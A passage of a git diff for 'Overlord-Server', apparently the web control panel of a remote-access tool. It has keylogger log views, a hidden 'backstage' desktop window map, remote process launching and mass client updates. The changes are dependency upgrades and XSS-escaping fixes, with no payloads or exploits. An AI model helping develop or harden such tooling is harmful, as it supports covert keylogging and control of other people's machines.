- "nanoid": ["nanoid@3.3.15", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA=="],
+ "nanoid": ["nanoid@3.3.18", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-DTg4MJbGMWkfi6VZFdNt2/caMbQy4Ou+Op/hJQvGEWcnVfoA1QA+xzRKAzw9jD6+GVOOeYr/mIcuDSdug6F6+w=="],
"no-case": ["no-case@3.0.4", "", { "dependencies": { "lower-case": "^2.0.2", "tslib": "^2.0.3" } }, "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg=="],
@@ -480,7 +485,7 @@
"pngjs": ["pngjs@5.0.0", "", {}, "sha512-40QW5YalBNfQo5yRYmiw7Yz6TKKVr3h6970B2YE+3fQpsWcrbj1PzJgxeJ19DRQjhMbKPIuMY8rFaXc8moolVw=="],
- "postcss": ["postcss@8.5.15", "", { "dependencies": { "nanoid": "^3.3.12", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-FfR8sjd4em2T6fb3I2MwAJU7HWVMr9zba+enmQeeWFfCbm+UOC/0X4DS8XtpUTMwWMGbjKYP7xjfNekzyGmB3A=="],
+ "postcss": ["postcss@8.5.26", "", { "dependencies": { "nanoid": "^3.3.17", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-u82N74LFzG8ca+dD8puPnplTXoGH4fTPpVGuIbt36G3qvNlkvfD0lEAZSxaly3KX8TS/L1A1gsCEmvKmBcVbkQ=="],
"postcss-value-parser": ["postcss-value-parser@4.2.0", "", {}, "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ=="],
@@ -556,7 +561,7 @@
"util-deprecate": ["util-deprecate@1.0.2", "", {}, "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="],
- "uuid": ["uuid@9.0.1", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-b+1eJOlsR9K8HJpow9Ok3fiWOWSIcIzXodvv0rQjVoOVNpWMpxf1wZNpt4y9h10odCNrqnYp1OBzRktckBe3sA=="],
+ "uuid": ["uuid@11.1.1", "", { "bin": { "uuid": "dist/esm/bin/uuid" } }, "sha512-vIYxrBCC/N/K+Js3qSN88go7kIfNPssr/hHCesKCQNAjmgvYS2oqr69kIufEG+O4+PfezOH4EbIeHCfFov8ZgQ=="],
"valibot": ["valibot@1.4.2", "", { "peerDependencies": { "typescript": ">=5" }, "optionalPeers": ["typescript"] }, "sha512-gjdCvJ6d3RyHAneqxMYMW9QMCwYMb3jpOO0IyHZV1bnRHFBHrX3VkIILt5XYR0WhwHiH7Mty8ovuPZ/O3gamrg=="],
@@ -618,8 +623,6 @@
"jayson/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="],
- "jayson/uuid": ["uuid@8.3.2", "", { "bin": { "uuid": "dist/bin/uuid" } }, "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="],
-
"lightningcss/detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
"node-gyp-build-optional-packages/detect-libc": ["detect-libc@2.1.2", "", {}, "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ=="],
diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json
index 59fd945..0c098da 100644
--- a/Overlord-Server/package.json
+++ b/Overlord-Server/package.json
@@ -33,17 +33,17 @@
"@hotwired/turbo": "^8.0.23",
"@msgpack/msgpack": "^3.0.0",
"@solana/web3.js": "^1.98.4",
- "adm-zip": "^0.5.12",
+ "adm-zip": "^0.6.0",
"ansi-to-html": "0.7.2",
"cytoscape": "^3.34.0",
"fuse.js": "^7.4.1",
"geoip-lite": "latest",
"gridstack": "^12.6.0",
- "hono": "^4.12.33",
+ "hono": "^4.13.3",
"jose": "^6.1.3",
"msgpackr": "1.11.8",
"qrcode": "^1.5.4",
- "uuid": "^9.0.1",
+ "uuid": "^11.1.1",
"valibot": "^1.4.2",
"web-push": "^3.6.7",
"winston": "^3.11.0"
@@ -70,11 +70,16 @@
"flag-icons": "latest",
"highlight.js": "11.9.0",
"html-minifier-terser": "^7.2.0",
- "monaco-editor": "^0.55.1",
- "postcss": "^8.5.6",
+ "monaco-editor": "^0.56.0",
+ "postcss": "^8.5.26",
"tabulator-tables": "^6.4.0",
"tailwindcss": "^4.1.18",
"terser": "^5.46.1",
"typescript": "^5.6.3"
+ },
+ "overrides": {
+ "dompurify": "^3.4.14",
+ "ip-address": "^10.5.0",
+ "uuid": "^11.1.1"
}
}
diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js
index 9b885e7..ca7596e 100644
--- a/Overlord-Server/public/assets/backstage.js
+++ b/Overlord-Server/public/assets/backstage.js
@@ -302,7 +302,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
state === "idle" ? "Stopped" :
"Connecting");
- statusEl.innerHTML = `${icons[state] || icons.idle} ${label} `;
+ statusEl.innerHTML = icons[state] || icons.idle;
+ const labelEl = document.createElement("span");
+ labelEl.textContent = String(label || "");
+ statusEl.appendChild(labelEl);
const base = "inline-flex items-center gap-2 px-3 py-2 rounded-full border text-sm";
const styles = {
streaming: "bg-violet-900/40 text-violet-100 border-violet-700/70",
@@ -915,7 +918,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function sendCmd(type, payload) {
@@ -2038,7 +2041,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
const lookupBtn = document.getElementById("backstageLookupBtn");
if (!resultsEl) return;
- if (msg.done) {
+ if (msg?.done) {
if (statusEl) {
statusEl.innerHTML = ' Search complete';
setTimeout(() => statusEl.classList.add("hidden"), 3000);
@@ -2053,23 +2056,31 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
return;
}
- if (msg.path) {
+ const lookupPath = safeClientString(msg?.path, "", 32768);
+ if (lookupPath) {
// Remove placeholder if present
const placeholder = resultsEl.querySelector(":scope > div:not([data-lookup-path])");
if (placeholder) placeholder.remove();
const item = document.createElement("button");
item.type = "button";
- item.dataset.lookupPath = msg.path;
+ item.dataset.lookupPath = lookupPath;
item.className = "w-full text-left px-2 py-1.5 rounded text-xs text-slate-200 hover:bg-violet-600/30 hover:text-violet-100 transition-colors font-mono truncate block";
- item.textContent = msg.path;
- item.title = "Click to start in backstage: " + msg.path;
+ item.textContent = lookupPath;
+ item.title = "Click to start in backstage: " + lookupPath;
item.addEventListener("click", () => {
const killCheckbox = document.getElementById("backstageLookupKill");
- const killExe = killCheckbox?.checked ? msg.exe : "";
- sendCmd("backstage_start_process", { path: '"' + msg.path + '"', kill_exe: killExe });
+ const killExe = killCheckbox?.checked
+ ? safeClientString(msg?.exe, "", 1024)
+ : "";
+ sendCmd("backstage_start_process", { path: '"' + lookupPath + '"', kill_exe: killExe });
item.classList.add("text-emerald-400");
- item.innerHTML = ' ' + (killExe ? '(killed) ' : '') + msg.path;
+ const icon = document.createElement("i");
+ icon.className = "fa-solid fa-check mr-1";
+ item.replaceChildren(
+ icon,
+ document.createTextNode((killExe ? "(killed) " : "") + lookupPath),
+ );
});
resultsEl.appendChild(item);
item.scrollIntoView({ block: "nearest" });
@@ -2096,12 +2107,144 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
"#ec4899", "#06b6d4", "#84cc16", "#f97316", "#6366f1",
];
+ const WINDOW_MAP_MAX_MONITORS = 64;
+ const WINDOW_MAP_MAX_WINDOWS = 2000;
+ const WINDOW_MAP_MAX_COORDINATE = 1000000;
+ const WINDOW_MAP_MAX_DIMENSION = 100000;
+
+ function safeClientString(value, fallback = "", maxLength = 1024) {
+ let text;
+ try {
+ text = String(value ?? fallback);
+ } catch {
+ text = String(fallback);
+ }
+ return text.slice(0, maxLength);
+ }
+
+ function boundedClientNumber(value, min, max, fallback = 0) {
+ let number;
+ try {
+ number = Number(value);
+ } catch {
+ return fallback;
+ }
+ if (!Number.isFinite(number)) return fallback;
+ return Math.min(max, Math.max(min, number));
+ }
+
+ function boundedClientInteger(value, min, max, fallback = 0) {
+ return Math.trunc(boundedClientNumber(value, min, max, fallback));
+ }
+
+ function normalizeWindowMapPayload(msg) {
+ const monitorValues = Array.isArray(msg?.monitors)
+ ? msg.monitors.slice(0, WINDOW_MAP_MAX_MONITORS)
+ : [];
+ const windowValues = Array.isArray(msg?.windows)
+ ? msg.windows.slice(0, WINDOW_MAP_MAX_WINDOWS)
+ : [];
+
+ const monitors = monitorValues.map((value, position) => {
+ const monitor = value && typeof value === "object" ? value : {};
+ return {
+ index: boundedClientInteger(
+ monitor.index,
+ -WINDOW_MAP_MAX_COORDINATE,
+ WINDOW_MAP_MAX_COORDINATE,
+ position,
+ ),
+ name: safeClientString(monitor.name, "", 1024),
+ x: boundedClientNumber(
+ monitor.x,
+ -WINDOW_MAP_MAX_COORDINATE,
+ WINDOW_MAP_MAX_COORDINATE,
+ ),
+ y: boundedClientNumber(
+ monitor.y,
+ -WINDOW_MAP_MAX_COORDINATE,
+ WINDOW_MAP_MAX_COORDINATE,
+ ),
+ width: boundedClientNumber(
+ monitor.width,
+ 0,
+ WINDOW_MAP_MAX_DIMENSION,
+ ),
+ height: boundedClientNumber(
+ monitor.height,
+ 0,
+ WINDOW_MAP_MAX_DIMENSION,
+ ),
+ primary: monitor.primary === true,
+ };
+ });
+
+ const windows = windowValues.map((value) => {
+ const windowValue = value && typeof value === "object" ? value : {};
+ return {
+ title: safeClientString(windowValue.title, "", 2048),
+ processName: safeClientString(windowValue.processName, "", 1024),
+ pid: boundedClientInteger(windowValue.pid, 0, 0xffffffff, 0),
+ x: boundedClientNumber(
+ windowValue.x,
+ -WINDOW_MAP_MAX_COORDINATE,
+ WINDOW_MAP_MAX_COORDINATE,
+ ),
+ y: boundedClientNumber(
+ windowValue.y,
+ -WINDOW_MAP_MAX_COORDINATE,
+ WINDOW_MAP_MAX_COORDINATE,
+ ),
+ width: boundedClientNumber(
+ windowValue.width,
+ 0,
+ WINDOW_MAP_MAX_DIMENSION,
+ ),
+ height: boundedClientNumber(
+ windowValue.height,
+ 0,
+ WINDOW_MAP_MAX_DIMENSION,
+ ),
+ monitor: boundedClientInteger(
+ windowValue.monitor,
+ -1,
+ WINDOW_MAP_MAX_MONITORS - 1,
+ -1,
+ ),
+ };
+ });
+
+ return { monitors, windows };
+ }
+
+ function setWindowMapPlaceholder(element, text, { canvas = false, spinner = false } = {}) {
+ if (!element) return;
+ const wrapper = document.createElement("div");
+ wrapper.className = canvas
+ ? "flex items-center justify-center h-40 text-slate-500 text-sm"
+ : "text-slate-500 text-xs text-center py-2";
+ if (spinner) {
+ const icon = document.createElement("i");
+ icon.className = "fa-solid fa-spinner fa-spin mr-2";
+ wrapper.appendChild(icon);
+ }
+ wrapper.appendChild(document.createTextNode(text));
+ element.replaceChildren(wrapper);
+ }
+
+ function createWindowMapSpan(className, text = "") {
+ const span = document.createElement("span");
+ span.className = className;
+ span.textContent = safeClientString(text, "", 4096);
+ return span;
+ }
+
function openWindowMap() {
if (!windowMapModal) return;
windowMapModal.style.display = "flex";
sendCmd("backstage_window_list", {});
- if (windowMapCanvas) windowMapCanvas.innerHTML = '
Loading…
';
- if (windowMapList) windowMapList.innerHTML = "";
+ setWindowMapPlaceholder(windowMapCanvas, "Loading…", { canvas: true, spinner: true });
+ windowMapList?.replaceChildren();
}
function closeWindowMap() {
@@ -2112,22 +2255,21 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
if (windowMapCloseBtn) windowMapCloseBtn.addEventListener("click", closeWindowMap);
if (windowMapRefreshBtn) windowMapRefreshBtn.addEventListener("click", () => {
sendCmd("backstage_window_list", {});
- if (windowMapCanvas) windowMapCanvas.innerHTML = ' Refreshing…
';
- if (windowMapList) windowMapList.innerHTML = "";
+ setWindowMapPlaceholder(windowMapCanvas, "Refreshing…", { canvas: true, spinner: true });
+ windowMapList?.replaceChildren();
});
if (windowMapModal) windowMapModal.addEventListener("click", (e) => {
if (e.target === windowMapModal) closeWindowMap();
});
function handleWindowListResult(msg) {
- const monitors = msg.monitors || [];
- const windows = msg.windows || [];
+ const { monitors, windows } = normalizeWindowMapPayload(msg);
if (!windowMapCanvas || !windowMapList) return;
if (monitors.length === 0 && windows.length === 0) {
- windowMapCanvas.innerHTML = 'No windows or monitors found
';
- windowMapList.innerHTML = 'No visible windows on the hidden desktop
';
+ setWindowMapPlaceholder(windowMapCanvas, "No windows or monitors found", { canvas: true });
+ setWindowMapPlaceholder(windowMapList, "No visible windows on the hidden desktop");
return;
}
@@ -2159,58 +2301,116 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s
function ty(y) { return padY + (y - minY) * scale; }
function tw(w) { return w * scale; }
- let html = "";
windowMapCanvas.style.height = mapH + "px";
+ const canvasFragment = document.createDocumentFragment();
for (let i = 0; i < monitors.length; i++) {
const m = monitors[i];
const x = tx(m.x), y = ty(m.y), w = tw(m.width), h = tw(m.height);
- html += `
- ${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}
- ${m.width}×${m.height}
-
`;
+ const monitorBox = document.createElement("div");
+ monitorBox.className = "absolute border-2 border-dashed border-slate-600 rounded";
+ monitorBox.style.left = `${x}px`;
+ monitorBox.style.top = `${y}px`;
+ monitorBox.style.width = `${w}px`;
+ monitorBox.style.height = `${h}px`;
+ monitorBox.title = `Monitor ${m.index}: ${m.name} (${m.width}x${m.height})`;
+ monitorBox.append(
+ createWindowMapSpan(
+ "absolute top-1 left-1.5 text-[10px] font-mono text-slate-500",
+ `${m.primary ? "★ " : ""}${m.name || "Monitor " + m.index}`,
+ ),
+ createWindowMapSpan(
+ "absolute bottom-1 right-1.5 text-[10px] font-mono text-slate-600",
+ `${m.width}×${m.height}`,
+ ),
+ );
+ canvasFragment.appendChild(monitorBox);
}
for (let i = 0; i < windows.length; i++) {
- const w = windows[i];
+ const mappedWindow = windows[i];
const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
- const x = tx(w.x), y = ty(w.y), ww = Math.max(tw(w.width), 8), wh = Math.max(tw(w.height), 8);
- const shortTitle = w.title.length > 30 ? w.title.slice(0, 28) + "…" : w.title;
- html += `
- ${wh > 20 && ww > 50 ? `
${escHtml(shortTitle)}
` : ""}
-
`;
+ const x = tx(mappedWindow.x), y = ty(mappedWindow.y);
+ const width = Math.max(tw(mappedWindow.width), 8);
+ const height = Math.max(tw(mappedWindow.height), 8);
+ const shortTitle = mappedWindow.title.length > 30
+ ? mappedWindow.title.slice(0, 28) + "…"
+ : mappedWindow.title;
+ const windowBox = document.createElement("div");
+ windowBox.className = "absolute rounded border overflow-hidden cursor-default";
+ windowBox.style.left = `${x}px`;
+ windowBox.style.top = `${y}px`;
+ windowBox.style.width = `${width}px`;
+ windowBox.style.height = `${height}px`;
+ windowBox.style.borderColor = color;
+ windowBox.style.background = `${color}18`;
+ windowBox.title = [
+ mappedWindow.title,
+ `${mappedWindow.processName} (PID ${mappedWindow.pid})`,
+ `Position: ${mappedWindow.x},${mappedWindow.y} Size: ${mappedWindow.width}×${mappedWindow.height}`,
+ `Monitor: ${mappedWindow.monitor >= 0 ? mappedWindow.monitor : "none"}`,
+ ].join("\n");
+ if (height > 20 && width > 50) {
+ const title = document.createElement("div");
+ title.className = "px-1 py-0.5 text-[9px] font-mono text-slate-200 truncate";
+ title.style.background = `${color}50`;
+ title.textContent = shortTitle;
+ windowBox.appendChild(title);
+ }
+ canvasFragment.appendChild(windowBox);
}
- windowMapCanvas.innerHTML = html;
-
- let listHtml = `
-
- Title Process Position Monitor
-
`;
-
- for (let i = 0; i < windows.length; i++) {
- const w = windows[i];
- const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
- const monLabel = w.monitor >= 0 ? (monitors[w.monitor] ? (monitors[w.monitor].name || "#" + w.monitor) : "#" + w.monitor) : "—";
- listHtml += `
-
- ${escHtml(w.title)}
- ${escHtml(w.processName)} (${w.pid})
- ${w.x},${w.y} ${w.width}×${w.height}
- ${monLabel}
-
`;
- }
- listHtml += "
";
+ windowMapCanvas.replaceChildren(canvasFragment);
if (windows.length === 0) {
- listHtml = 'No visible windows on the hidden desktop
';
+ setWindowMapPlaceholder(windowMapList, "No visible windows on the hidden desktop");
+ return;
}
- windowMapList.innerHTML = listHtml;
- }
+ const list = document.createElement("div");
+ list.className = "grid gap-1";
+ const header = document.createElement("div");
+ header.className = "grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 px-2 py-1 text-[11px] uppercase tracking-wide text-slate-500 border-b border-slate-800";
+ header.append(
+ createWindowMapSpan("", ""),
+ createWindowMapSpan("", "Title"),
+ createWindowMapSpan("", "Process"),
+ createWindowMapSpan("", "Position"),
+ createWindowMapSpan("", "Monitor"),
+ );
+ list.appendChild(header);
- function escHtml(s) {
- return s.replace(/&/g, "&").replace(//g, ">").replace(/"/g, """);
+ for (let i = 0; i < windows.length; i++) {
+ const mappedWindow = windows[i];
+ const color = WINDOW_COLORS[i % WINDOW_COLORS.length];
+ const monitorLabel = mappedWindow.monitor >= 0
+ ? (monitors[mappedWindow.monitor]?.name || `#${mappedWindow.monitor}`)
+ : "—";
+ const row = document.createElement("div");
+ row.className = "grid grid-cols-[auto_1fr_auto_auto_auto] gap-x-3 items-center px-2 py-1.5 rounded hover:bg-slate-800/50 text-xs text-slate-300";
+
+ const colorMarker = createWindowMapSpan("w-2.5 h-2.5 rounded-sm", "");
+ colorMarker.style.background = color;
+ const title = createWindowMapSpan("truncate font-medium", mappedWindow.title);
+ title.title = mappedWindow.title;
+ const process = createWindowMapSpan("font-mono text-slate-400", mappedWindow.processName + " ");
+ process.appendChild(createWindowMapSpan("text-slate-600", `(${mappedWindow.pid})`));
+ row.append(
+ colorMarker,
+ title,
+ process,
+ createWindowMapSpan(
+ "font-mono text-slate-500",
+ `${mappedWindow.x},${mappedWindow.y} ${mappedWindow.width}×${mappedWindow.height}`,
+ ),
+ createWindowMapSpan(
+ `font-mono ${mappedWindow.monitor >= 0 ? "text-slate-300" : "text-rose-400"}`,
+ monitorLabel,
+ ),
+ );
+ list.appendChild(row);
+ }
+ windowMapList.replaceChildren(list);
}
connectWs();
diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js
index f91fcd3..e938f82 100644
--- a/Overlord-Server/public/assets/build.js
+++ b/Overlord-Server/public/assets/build.js
@@ -9,6 +9,7 @@ import {
staggerChildren,
} from "./motion.js";
import { isLocalServerAddress } from "./build-server-url.js";
+import { escapeHtml } from "./format.js";
const form = document.getElementById("build-form");
const buildBtn = document.getElementById("build-btn");
@@ -2912,25 +2913,29 @@ if (buildUpdateAllBtn) {
if (!res.ok) {
const data = await res.json().catch(() => ({}));
- updateAllModalBody.innerHTML = ` ${data.error || "Failed to check eligible clients"}
`;
+ updateAllModalBody.innerHTML = ` ${escapeHtml(data.error || "Failed to check eligible clients")}
`;
return;
}
const data = await res.json();
+ const eligible = Math.max(0, Math.trunc(Number(data.eligible) || 0));
+ const totalOnline = Math.max(0, Math.trunc(Number(data.totalOnline) || 0));
+ const skippedInMemory = Math.max(0, Math.trunc(Number(data.skippedInMemory) || 0));
+ const skippedNoMatch = Math.max(0, Math.trunc(Number(data.skippedNoMatch) || 0));
let html = "";
- html += `${data.eligible} client(s) will receive the update after build.
`;
+ html += `${eligible} client(s) will receive the update after build.
`;
html += '';
- html += `
${data.totalOnline} total online client(s)
`;
- if (data.skippedInMemory > 0) {
- html += `
${data.skippedInMemory} client(s) will be skipped (running in-memory)
`;
+ html += `
${totalOnline} total online client(s)
`;
+ if (skippedInMemory > 0) {
+ html += `
${skippedInMemory} client(s) will be skipped (running in-memory)
`;
}
- if (data.skippedNoMatch > 0) {
- html += `
${data.skippedNoMatch} client(s) will be skipped (no matching platform)
`;
+ if (skippedNoMatch > 0) {
+ html += `
${skippedNoMatch} client(s) will be skipped (no matching platform)
`;
}
html += "
";
- if (data.eligible === 0 && data.totalOnline === 0) {
+ if (eligible === 0 && totalOnline === 0) {
html += 'No clients are currently online. The build will still run but no updates will be sent.
';
}
@@ -2939,7 +2944,8 @@ if (buildUpdateAllBtn) {
updateAllModalBody.innerHTML = html;
} catch (err) {
- updateAllModalBody.innerHTML = ` Error: ${err.message}
`;
+ const message = err instanceof Error ? err.message : String(err || "Unknown error");
+ updateAllModalBody.innerHTML = ` Error: ${escapeHtml(message)}
`;
}
});
}
diff --git a/Overlord-Server/public/assets/chat-widget.js b/Overlord-Server/public/assets/chat-widget.js
index 5ef025f..06bacc1 100644
--- a/Overlord-Server/public/assets/chat-widget.js
+++ b/Overlord-Server/public/assets/chat-widget.js
@@ -23,7 +23,7 @@ const ROLE_COLORS = {
function escapeHtml(str) {
const div = document.createElement("div");
div.textContent = str;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function formatTime(ts) {
diff --git a/Overlord-Server/public/assets/client-graph.js b/Overlord-Server/public/assets/client-graph.js
index 5c7ea42..0d07fcd 100644
--- a/Overlord-Server/public/assets/client-graph.js
+++ b/Overlord-Server/public/assets/client-graph.js
@@ -71,7 +71,8 @@ function escapeHtml(value) {
.replace(/&/g, "&")
.replace(//g, ">")
- .replace(/"/g, """);
+ .replace(/"/g, """)
+ .replace(/'/g, "'");
}
function setSummary(summary) {
diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js
index 365740a..2730d27 100644
--- a/Overlord-Server/public/assets/command-palette.js
+++ b/Overlord-Server/public/assets/command-palette.js
@@ -121,9 +121,26 @@ function pushRecent(href) {
localStorage.setItem(RECENT_KEY, JSON.stringify(list.slice(0, RECENT_MAX)));
}
+function escapeHtml(value) {
+ return String(value ?? "")
+ .replace(/&/g, "&")
+ .replace(//g, ">")
+ .replace(/"/g, """)
+ .replace(/'/g, "'");
+}
+
+function safeClassTokens(value, fallback = "") {
+ const tokens = String(value || "")
+ .split(/\s+/)
+ .filter((token) => /^[A-Za-z0-9_-]+$/.test(token));
+ return tokens.length ? tokens.join(" ") : fallback;
+}
+
function flagFor(country) {
- if (!country || country.length !== 2) return "";
- return ` `;
+ const code = String(country || "").trim().toUpperCase();
+ if (!/^[A-Z]{2}$/.test(code)) return "";
+ return ` `;
}
function clientLabel(c) {
@@ -163,15 +180,17 @@ function buildResults(query, pages, clients) {
}
function makeIcon(faClass, colorClass) {
- return ` `;
+ const icon = safeClassTokens(faClass, "fa-circle-question");
+ const color = safeClassTokens(colorClass, "text-slate-300");
+ return ` `;
}
function renderRow(r, active) {
const activeCls = active ? "cmdp-row cmdp-row-active" : "cmdp-row";
if (r.kind === "page") {
- return `
+ return `
${makeIcon(r.icon, r.color)}
- ${r.label}
+ ${escapeHtml(r.label)}
page
`;
}
@@ -179,26 +198,29 @@ function renderRow(r, active) {
const c = r.client;
const dot = c.online ? "background:#10b981" : "background:#475569";
const os = osBadge(c.os || "");
- return `
-
+ const osIcon = safeClassTokens(os.icon, "fa-solid fa-circle-question");
+ const osTone = safeClassTokens(os.tone, "pill-unknown");
+ return `
+
${flagFor(c.country)}
- ${r.label}
+ ${escapeHtml(r.label)}
${c.online ? "online" : "offline"}
`;
}
if (r.kind === "action") {
- return `
+ return `
${makeIcon(r.action.icon, r.action.color)}
- ${r.action.label}
+ ${escapeHtml(r.action.label)}
needs client
`;
}
if (r.kind === "client-action") {
const c = r.client;
- return `
+ const encodedId = encodeURIComponent(String(c.id || ""));
+ return `
${makeIcon(r.action.icon, r.action.color)}
- ${r.action.label} · ${clientLabel(c)}
+ ${escapeHtml(`${r.action.label} · ${clientLabel(c)}`)}
action
`;
}
@@ -320,7 +342,7 @@ function renderList() {
}
let html = "";
if (state.mode === "client-actions" && state.pendingAction) {
- html += `
Pick a client for: ${state.pendingAction.label}
`;
+ html += `
Pick a client for: ${escapeHtml(state.pendingAction.label)}
`;
}
html += state.results.map((r, i) => renderRow(r, i === state.active)).join("");
list.innerHTML = html;
@@ -336,7 +358,12 @@ function activate(idx, newTab) {
const r = state.results[idx];
if (!r) return;
if (r.kind === "page" || r.kind === "client-action") {
- navigate(r.kind === "page" ? r.href : r.action.href(r.client.id), newTab);
+ navigate(
+ r.kind === "page"
+ ? r.href
+ : r.action.href(encodeURIComponent(String(r.client.id || ""))),
+ newTab,
+ );
return;
}
if (r.kind === "client") {
diff --git a/Overlord-Server/public/assets/console.js b/Overlord-Server/public/assets/console.js
index a2b1742..3420b77 100644
--- a/Overlord-Server/public/assets/console.js
+++ b/Overlord-Server/public/assets/console.js
@@ -106,7 +106,8 @@ function tryFit() {
function setStatus(label, tone = "pill-offline") {
if (!statusPill) return;
statusPill.className = `pill ${tone}`;
- statusPill.innerHTML = `
${label}`;
+ statusPill.innerHTML = '
';
+ statusPill.appendChild(document.createTextNode(` ${String(label || "")}`));
}
function writeSystem(msg) {
diff --git a/Overlord-Server/public/assets/feature-gate.js b/Overlord-Server/public/assets/feature-gate.js
index 42ba52f..aebdbcc 100644
--- a/Overlord-Server/public/assets/feature-gate.js
+++ b/Overlord-Server/public/assets/feature-gate.js
@@ -80,5 +80,5 @@ function showAccessDenied(reasons) {
function escapeHtml(text) {
const el = document.createElement("span");
el.textContent = text;
- return el.innerHTML;
+ return el.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
diff --git a/Overlord-Server/public/assets/filebrowser-utils.js b/Overlord-Server/public/assets/filebrowser-utils.js
index 006e766..91cd025 100644
--- a/Overlord-Server/public/assets/filebrowser-utils.js
+++ b/Overlord-Server/public/assets/filebrowser-utils.js
@@ -131,5 +131,5 @@ export function formatBytes(bytes) {
export function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
diff --git a/Overlord-Server/public/assets/format.js b/Overlord-Server/public/assets/format.js
index c449f51..0361099 100644
--- a/Overlord-Server/public/assets/format.js
+++ b/Overlord-Server/public/assets/format.js
@@ -1,7 +1,7 @@
export function escapeHtml(value) {
const div = document.createElement("div");
div.textContent = value == null ? "" : String(value);
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
export function formatBytes(bytes, fractionDigits = 2) {
diff --git a/Overlord-Server/public/assets/keylogger.js b/Overlord-Server/public/assets/keylogger.js
index 39ebd5c..3b57dd9 100644
--- a/Overlord-Server/public/assets/keylogger.js
+++ b/Overlord-Server/public/assets/keylogger.js
@@ -342,14 +342,14 @@ function displayFileList(files) {
` : ""}
View
Download
@@ -357,7 +357,7 @@ function displayFileList(files) {
${archiveMode ? "" : `
Delete
@@ -428,7 +428,7 @@ function formatDate(dateStr) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text || "";
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function resetSearch() {
diff --git a/Overlord-Server/public/assets/logs.js b/Overlord-Server/public/assets/logs.js
index 49594c2..6a068a1 100644
--- a/Overlord-Server/public/assets/logs.js
+++ b/Overlord-Server/public/assets/logs.js
@@ -47,7 +47,7 @@ function formatTimestamp(ts) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text || "";
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function parseDetails(details) {
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index ef0484e..fe19d73 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -1801,7 +1801,7 @@ async function openGroupPicker(clientId) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text;
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function renderClientLogs(logs) {
diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js
index 359a94c..10b6ea8 100644
--- a/Overlord-Server/public/assets/metrics.js
+++ b/Overlord-Server/public/assets/metrics.js
@@ -533,7 +533,7 @@ function formatBytes(bytes) {
function escapeHtml(text) {
const div = document.createElement("div");
div.textContent = text == null ? "" : String(text);
- return div.innerHTML;
+ return div.innerHTML.replace(/"/g, """).replace(/'/g, "'");
}
function formatDuration(ms) {
diff --git a/Overlord-Server/public/assets/nav/plugins-loader.js b/Overlord-Server/public/assets/nav/plugins-loader.js
index 8d95fad..1676831 100644
--- a/Overlord-Server/public/assets/nav/plugins-loader.js
+++ b/Overlord-Server/public/assets/nav/plugins-loader.js
@@ -10,7 +10,7 @@ export async function loadPluginNavItems(activeMap) {
if (!plugins || !Array.isArray(plugins)) return;
